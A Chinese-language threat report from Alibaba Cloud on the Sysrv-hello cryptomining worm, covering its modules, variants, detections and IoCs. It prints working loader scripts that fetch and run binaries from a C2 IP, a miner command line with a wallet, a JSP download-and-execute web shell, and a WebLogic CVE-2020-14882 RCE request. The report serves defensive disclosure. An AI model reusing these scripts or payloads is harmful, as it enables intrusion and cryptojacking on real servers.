Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
云安全中心 防病毒版,最高20核 3个月
云安全中心 云平台配置检查,900元 3000次
简介: 阿里云安全中心默认检出,精准防御。

shutterstock_248596777.jpg

Sysrv-hello挖矿样本初现

 事件背景

阿里云云安全中心,针对云上海量样本进行持续监控,对奇异样本进行自动捕获标定和分析。本月初,发现一例具有持久化功能的样本,具有与此前已知程序文件的差异特性,经过分析,属于一款新型挖矿支持组件,且处在爆发初期。鉴于该样本的特征路径以及特征代码,暂时将其命名为Sysrv-hello。

 Sysrv-hello样本特性

· 该样本服务于挖矿行动,兼具蠕虫、爆破、木马、后门等多种特性,漏洞利用与爆破方式、功能集成性不同于以往已知样本;

· 经过对该样本的特征分析与关联样本检索,发现该样本非孤立样本,而是一个本月新出现投放,并在早期积极迭代变换的挖矿活动;

· 借助Golang,该家族跨越Linux与Windows平台,通过陆续集成的多种最新漏洞与应用的攻击方式,具备很强传播性。

 时间线

· 12月3日:13时15分
最早发现的0号Linux样本(md5=ead2cf8ab7aef63706b40eb57d668d0a)在云上首次出现,影响大量用户机器,影响面较大;
· 12月6日
捕获到该家族第1号变种族于9:30开始投放,面向Linux免杀,且投放量非常克制,当日共捕获到4例样本,每个样本仅传播到1-2台主机
· 12月7日
该样本在VirusTotal上首次由外部上传;
· 12月15日
发现该样本2号Linux变种家族的第一个样本在16:15投递到少量主机试水,之后第二个样本在18点较大范围传播;
· 12月16日:23点
首次发现该样本的3号变种族,之后至少到19日仍持续有子变种出现,且持续有活跃的投递与传播,所有样本均有一定的传播影响面,是该类型到目前为止最活跃的族系;
· 12月22日:14时30分
截至14:30,VirusTotal全部62款商业杀毒引擎均未报毒。

 修复建议

Sysrv-hello目前还处在扩散初期,尽管有快速迭代、不断集成最新的攻击方式,但传播面还不够大,初期的检测防御对于恶意行为防御更有意义。

当前对于该家族的核心样本Sysrv主程序,以及投递的挖矿程序,阿里云云安全中心均已默认可检出,所有云主机用户可关注是否存在病毒检测告警,并及时关注应用环境是否存在漏洞未修复、弱密码等问题。

对购买云安全中心的用户,当前各种检测模型已可多维度检测关联入侵行为,给出实时告警;同时全部病毒样本以及后续变种均已支持文件精准防御以及行为防御。



以下是对该恶意样本的一手分析报告:

0号样本分析

 静态逆向

该样本为Linux 64位程序,使用Golang开发并用UPX 3.94加壳,未做额外混淆,脱壳前后大小为4,634,788B/8,687,768B,本地编译路径为 :/media/psf/AllFiles/Users/mac/go/src/hello/src。样本并未完全去除文件路径等元信息。

根据子目录,样本主要有如下五部分功能组件:

【 Scan 模块 】

image.png

扫描器组件是该样本从main.main入口执行的最外层功能,由此再下一步调用其它功能。

image.png

【 Gateway 模块 】

image.png

Gateway模块由SYN扫描器调用,提供Linux网关探测能力。

【 Nu 模块 】

image.png

Nu模块为其它功能模块提供基础功能实现(network utility),包括最基础的字符串操作、端口探测、日志等;同时封装了shell命令执行功能。

【 Exp 模块 】

image.png

Exp模块包含多个漏洞利用做横向移动的能力,在进行端口扫描之后执行。在该样本中,会尝试对Mysql、Tomcat、WebLogic的应用主机探测触发RCE漏洞。

【 Work 模块 】

image.png

Work为直接控制挖矿的代码模块,持久化判断挖矿任务存活,释放并解压缩程序中内嵌的xmrig挖矿程序本体gzip包:

image.png

 行为分析

初始化和准备阶段,样本运行时首先会监听本地的,52013端口,此端口作为互斥量,防止自身重复启动。

image.png

然后初始化端口扫描模块,包括逆向可见的syn,tcp两种扫描方式:

image.png

然后将当前的扫描方式写入文件./flag.txt中。

image.png

第二步,释放xmrig挖矿模块,并启动,释放的完整路径是 /tmp/network01

image.png

启动参数是:

./tmp/network01 -B --donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux.

矿池地址是:

49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux

第三步,随机生成ip地址,进行端口扫描:

image.png

会扫描包括Mysql、Tomcat、WebLogic服务,并自动进行漏洞利用和爆破。具体漏洞利用和爆破细节见下文。

第四步,如果获取到目标系统的shell,会首先从 http://185.239.242.71/ 下载脚本和xmr挖矿程序:

image.png

脚本 http://185.239.242.71/ldr.ps1 的内容如下:

> $cc = "http://185.239.242.71"  
>   
> $is64 = (([Array](Get-WmiObject -Query "select AddressWidth from Win32_Processor"))[0].AddressWidth -eq 64)  
>   
> $xmr = "$cc/xmr32.exe"  
>      
> if ($is64) {  
>   
>     $xmr = "$cc/xmr64.exe"  
>   
> }  
  
> (New-Object Net.WebClient).DownloadFile($xmr, "$env:TMP\network01.exe")  
>   
> if (!(Get-Process network01 -ErrorAction SilentlyContinue)) {  
>   
>     Start-Process "$env:TMP\network01.exe" "--donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.w" -windowstyle hidden  
>   
> }  
> (New-Object Net.WebClient).DownloadFile("$cc/sysrv.exe", "$env:TMP\sysrv.exe")  
>   
> Start-Process "$env:TMP\sysrv.exe"  -windowstyle hidden  

脚本 http://185.239.242.71/ldr.sh的内容如下:

> **#!/bin/bash**
>      
> cc='http://185.239.242.71'  
>    
> get() {   
>     curl -fsSL "$1" > "$2" || wget -q -O - "$1" > "$2" || php -r "file_put_contents('$2', file_get_contents('$1'));"  
>     chmod +x "$2"  
> }  
> cd /tmp || cd /var/run || cd /mnt || cd /root || cd /  
>    
> **# kill hich cpu usage proc**  
>   
> ps axf -o "pid %cpu" | awk '{if($2>=50.0) print $1}' | while read pid; do  
>   
>     cat /proc/$pid/cmdline | grep -a -E "sysrv|network01"  
>   
>     if [ $? -ne 0 ]; then  
>         kill -9 $pid  
>     fi  
> done  
>   
> ps -fe | grep network01 | grep -v grep  
>   
> if [ $? -ne 0 ]; then  
>   
>     echo "no miner runing"  
>   
>     if [ $(getconf LONG_BIT) = '64' ]; then  
>   
>         echo "downloading xmr64..."  
>   
>         get "$cc/xmr64" network01  
>   
>     else  
>   
>         echo "downloading xmr32..."  
>   
>         get "$cc/xmr32" network01  
>   
>     fi  
>   
>     nohup ./network01 1>/dev/null 2>&1 &  
>   
> fi  
>   
> ps -fe | grep sysrv | grep -v grep  
>   
> if [ $? -ne 0 ]; then  
>   
>     echo "no sysrv runing"  
>   
>     get "$cc/sysrv" sysrv  
>   
>     nohup ./sysrv 1>/dev/null 2>&1 &  
>   
> fi  

同时,自带有一个弱口令字典,会自动进行爆破

image.png

 目标服务漏洞利用与爆破方式

【 Mysql 】

通过弱口令登录成功之后,先首先判断系统版本以及平台,最后尝试写入32位或者64位的udf来进行任意命令执行。

image.png
image.png

【 Tomcat 】

尝试爆破Tomcat的管理页面的用户名和密码:

image.png

如果爆破成功,就尝试向服务器上上传war包进行项目部署来getshell。

image.png

war包本质上是一个压缩包,压缩包的内容为:

image.png

解压出来有一个1.jsp文件,内容如下:

<%@ page import="java.io.*" %>

<%

try {

String w = request.getParameter("win");  

String l = request.getParameter("linux");  

String[] cw = {"cmd", "/c", "powershell iex(New-Object Net.WebClient).DownloadString('" + w + "')"};  

String[] cl = {"bash", "-c", "(curl -fsSL " + l + " || wget -q -O - " + l + ") | bash"};  

if (System.getProperty("os.name").toLowerCase().contains("win")) {  

    Runtime.getRuntime().exec(cw);  

} else {  

    Runtime.getRuntime().exec(cl);  

}  

} catch (IOException e) {}

// remove self

File f = new File(request.getSession().getServletContext().getRealPath("/"));

new File(f.getParent() + File.separator + f.getName() + ".war").delete();

out.print("1");

%>

【 WebLogic 】

利用cve-2020-14882漏洞进行getshell,发送的payload如下:

image.png

GET /console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread%%20currentThread=(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20field=adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%%20req=(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);String%%20cmd=req.getHeader("cmd");String[]%%20cmds=System.getProperty("os.name").toLowerCase().contains("win")?new%%20String[]{"cmd.exe","/c",req.getHeader("win")}:new%%20String[]{"/bin/sh","-c",req.getHeader("linux")};if(cmd!=null){String%%20result=new%%20java.util.Scanner(new%%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%%5C%%5CA").next();weblogic.servlet.internal.ServletResponseImpl%%20res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);work.getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream(result));work.getServletOutputStream().flush();}currentThread.interrupt();') HTTP/1.0

Host: %s:%d

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Connection: close
cmd: ls
linux: ( (curl -fsSL %s || wget -q -O - %s) | bash& )
win: start powershell iex(New-Object Net.WebClient).DownloadString('%s')

一个payload兼容Linux和Windows操作系统。

家族演进跟踪

在发现该家族之后,我们基于云上全量样本的相似度检索,发现了前述0号样本的关联相似样本,证明此次并非一个试水的投放或已知样本的技术演进。根据样本技术特性,可以将该样本的发展标注到4个主要节点,证明该挖矿家族的发展是其初期快速扩张和迭代的阶段。

 0号样本

这就是前文分析的样本。最早在12月3日在云上发现。

约相同时间,云上捕获了该样本的Windows版本,md5=030231d96234f06ae09ca18d621241e5。

该样本与Linux样本基本同源,仅适配Windows有若干必要的调整,包括:去除挖矿程序的释放控制功能(仅限Linux版本);扫描器与payload的载入方式等。

 1号变种族

此类样本观察到最初于6日9:30开始投放,仅在6-7日进行投放,且投放量非常克制,当前已捕获到共4例样本,每个样本仅传播到1-2台主机。

这阶段的免杀方式为,将原始Sysrv样本加壳后,作为数据嵌入在另外的loader程序中,释放后载入生效;嵌入的样本抠出脱壳后,md5=750644690e51db9f695b542b463164b9。

除此以外,样本本体并未发现明显差异。

image.png

因为此家族仅为0号样本在Linux平台的特殊免杀变种,因此在Windows平台的同源更新版本样本,与0号Windows样本没有显著差异。

 2号变种族

此类样本在15日发现投递,其中Linux家族第一个样本在16:15投递到少量主机试水,之后第二个样本在18点较大范围传播。此类Linux样本相比0号样本,去掉了内嵌压缩挖矿程序释放执行的逻辑,从而显著减小样本体积到2MB以内;同时对功能实现代码做了少量改写,包括Tomcat的爆破方式等。

该子家族的Windows版本与Linux保持一致;因为Linux版本完全去除了自带嵌入的挖矿程序的逻辑,Windows版本也同步去除了gzip解压缩的包引入(此前实际也并无作用,仅为同一套代码的引入),文件体积有所缩小。

 3号变种族

该变种族最早在16日23点首次发现,之后至少到19日仍持续有子变种出现,且持续有活跃的投递与传播,所有样本均有一定的传播影响面,是该类型到目前为止最活跃的族系。

在蠕虫功能方面,从此类变种开始新增了对Jenkins的探测与定向爆破功能。除此以外,该类家族基本保持与2号的继承性,但每个样本均在功能实现的主要代码中,引入了少量局部的代码重构,从而降低关键代码的整体相似度,疑似用于规避样本模糊匹配的分析方法。

关联事件与告警

对此事件,阿里云云安全中心已经对攻击链路中的主要节点具备检测和防御能力。
对经由Mysql投递ldr脚本,当前可检测到进程的异常操作指令,精准防御可进行进程行为拦截:

image.png
image.png

对Tomcat进入的方式,检测到Java执行异常指令:

image.png

对于Sysrv程序的访问中控IP,具有实时检测能力:

image.png

对于Sysrv横向移动的动作,检测到对外发起登录扫描:

image.png

对Sysrv程序本体,按照后门程序/蠕虫病毒类别识别告警,在开启防御的主机可疑精准防御:

image.png

对于ldr恶意脚本,具有实时判黑告警:

image.png

对挖矿程序本体,始终具有检测能力,并在开启防御的主机上,直接进行精准防御:

image.png

对挖矿程序的矿池通信网络行为,具有对应的告警和关联信息佐证:

image.png

对Sysrv进程残留的持久化方式,具有定时扫描检测:

image.png

IoC

ead2cf8ab7aef63706b40eb57d668d0a

a45c5b97068a709c92aa2fb73cc39d29

bb15e4c273044a5e714acec991dde4b4

4736f80b88c60d2b650dd7273b437d0f

e7b1ee6578b88e1c2650982d35a0bbfc

e9317adace503cefa02007579eb1c621

ec773867cf1cc0479e57eae020f6f399

f4c90b41126fc17848bd0d131288bd36

58a05154e0a702843b8304ccfd79ba2f

7f9abe219ae8dd4e338bd2a9fcaf2e05

301a0a58dd98ecbbe12c6acbd0c7bbdc

030231d96234f06ae09ca18d621241e5

4b22a05d547d0345f91ba9f5fb1f012c

0af416fb7a7e164ddd90da14d116c07e

bbe3e53b19548d093c8405847828a64d

cae2b58fc73551901a70465fa46ea23c

d8816891b21d83c318818ebc32e9609d

642d73c85e6e79720a5ae7b82fc427c5

http://185[.]239[.]242[.]71/ldr.sh

http://185[.]239[.]242[.]71/ldr.ps1

http://185[.]239[.]242[.]71/sysrv.exe

http://185[.]239[.]242[.]71/sysrv

点击链接 https://www.aliyun.com/product/sas?spm=5176.19720258.J_80...0.173.54212c4aaqT6eQ
一键获取云安全中心精准防御

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
3月前
|
机器人
阿里云 RPA 的成本效益分析
机器人流程自动化(RPA)技术在企业数字化转型中扮演着越来越重要的角色。阿里云 RPA 作为一种高效的自动化解决方案,不仅可以提高业务效率,还可以降低运营成本。本文将对阿里云 RPA 的成本效益进行分析,帮助企业更好地评估和利用这一技术。
|
11月前
|
Kubernetes 安全 Linux
开源Chart包安全分析发布,阿里云视角容器安全基线的重要性
云原生环境下,容器成为了软件开发过程中打包与分发的标准。
263 0
开源Chart包安全分析发布,阿里云视角容器安全基线的重要性
|
3月前
|
数据库
阿里云DTS数据迁移和数据同步的差异性分析
阿里云DTS作为一款常用的数据库表迁移工具,提供了功能非常类似的两个功能:数据迁移、数据同步。阿里云DTS产品官网对这两个功能模块进行了简单的区分: 场景1:存量数据批量迁移,建议使用数据迁移功能。 场景2:增量数据实时同步,建议使用数据同步功能。 实际上,无论是数据迁移还是数据同步,都可以做 “结构初始化”+“全量数据迁移”+“增量迁移”,因此两者功能差异并不明显。笔者在多个项目实践DTS数据迁移,在简单需求场景下,将DTS的数据迁移、数据同步进行对比和总结。
|
27天前
|
存储 SQL OLAP
分析性能提升40%,阿里云Hologres流量场景最佳实践
分析性能提升40%,阿里云Hologres流量场景最佳实践
|
1月前
|
存储 关系型数据库 分布式数据库
|
3月前
|
SQL 分布式计算 监控
基于阿里云 EMR Serverless Spark 版快速搭建OSS日志分析应用
本文演示了使用 EMR Serverless Spark 产品搭建一个日志分析应用的全流程,包括数据开发和生产调度以及交互式查询等场景。
56558 7
基于阿里云 EMR Serverless Spark 版快速搭建OSS日志分析应用
|
2月前
|
关系型数据库 MySQL 测试技术
《阿里云产品四月刊》—瑶池数据库微课堂|RDS MySQL 经济版 vs 自建 MySQL 性能压测与性价比分析
阿里云瑶池数据库云原生化和一体化产品能力升级,多款产品更新迭代
|
3月前
|
关系型数据库 分布式数据库 数据库
【阿里云云原生专栏】云原生时代的数据库选型:阿里云RDS与PolarDB对比分析
【5月更文挑战第24天】阿里云提供RDS和PolarDB两种数据库服务。RDS是高性能的在线关系型数据库,支持MySQL等引擎,适合中小规模需求;而PolarDB是分布式数据库,具备高扩展性和性能,适用于大规模数据和高并发场景。RDS与PolarDB在架构、性能、弹性伸缩、成本等方面存在差异,开发者应根据具体需求选择。示例代码展示了如何通过CLI创建RDS和PolarDB实例。
733 0
|
3月前
|
监控 安全 数据挖掘
Email 接口API有哪些?具体分析一下阿里云和AOK的优点
本文介绍了常见的Email接口API,如阿里云邮件推送、AOKSend、SendGrid、Mailgun和Amazon SES。阿里云API以其高稳定性和数据分析功能脱颖而出,支持批量发送和多语言;而AOKSend API以易于集成、高安全性和优秀客户支持为亮点。企业在选择时应考虑自身需求和预算,以优化邮件营销效果。
|
3月前
|
存储 NoSQL MongoDB
阿里云 Flink 原理分析与应用:深入探索 MongoDB Schema Inference
本文整理自阿里云 Flink 团队归源老师关于阿里云 Flink 原理分析与应用:深入探索 MongoDB Schema Inference 的研究。
47157 2
阿里云 Flink 原理分析与应用:深入探索 MongoDB Schema Inference

热门文章

最新文章